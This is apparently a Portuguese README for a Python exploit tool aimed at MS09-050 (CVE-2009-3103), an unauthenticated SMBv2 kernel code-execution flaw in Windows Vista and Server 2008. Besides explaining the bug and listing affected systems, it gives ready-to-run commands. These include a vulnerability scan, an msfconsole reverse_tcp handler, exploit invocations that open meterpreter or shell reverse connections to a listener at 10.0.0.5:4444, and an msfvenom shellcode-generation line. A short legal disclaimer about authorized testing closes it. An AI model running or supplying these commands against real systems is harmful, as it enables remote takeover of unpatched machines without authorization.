Exploit em Python para MS09-050 (CVE-2009-3103) estouro de buffer no srv2.sys do SMBv2, com scanner de vulnerabilidade, detecção automática de arquitetura e payloads de reverse shell x86/x64.
CVE-2009-3103
O Windows Vista e o Server 2008 introduziram o SMBv2 com um novo driver de kernel, srv2.sys. Este driver falha ao validar o campo Process Id High em requisições de negociação SMB. Ao enviar um valor especialmente construído neste campo, um atacante faz com que srv2.sys indexe uma tabela de ponteiros de função com um valor controlado, desreferenciando um endereço fornecido pelo atacante.
O resultado é a execução de código arbitrário em contexto de kernel, sem necessidade de autenticação. O atacante só precisa alcançar a porta 445.
A Microsoft corrigiu isso em outubro de 2009 (KB975517). Qualquer sistema Vista SP1/SP2 ou Server 2008 SP1 sem patch é vulnerável.
| SO Alvo | Arquitetura |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pré-R2) | x64 |
--msf-payload opcional para escolher um payload personalizado-s)[+] sucesso, [-] erro, [!] aviso, [*] informaçãogit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Requisitos:
rpcclient (do pacote smbclient), usado para acionar o payload após a injeçãomsfvenom, necessário apenas se usar a flag --msfvenomNo Debian/Ubuntu:
sudo apt install smbclient
No Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Saída:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Usa um stager meterpreter/reverse_tcp. Inicie seu handler primeiro:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Depois execute o exploit:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Gere o shellcode bruto uma vez, reutilize sem msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Depois forneça-o ao exploit:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request SMB1 para identificar a versão do SO e a arquitetura do alvosrv2.sysEsta ferramenta é fornecida apenas para testes de penetração autorizados e fins educacionais.
O acesso não autorizado a sistemas de computador é uma infração criminal na maioria das jurisdições. Você deve obter permissão escrita explícita do proprietário do sistema antes de usar esta ferramenta contra qualquer alvo. Os autores não assumem qualquer responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este software.
Ao usar esta ferramenta, você concorda que:
Use com responsabilidade. Hackeie eticamente.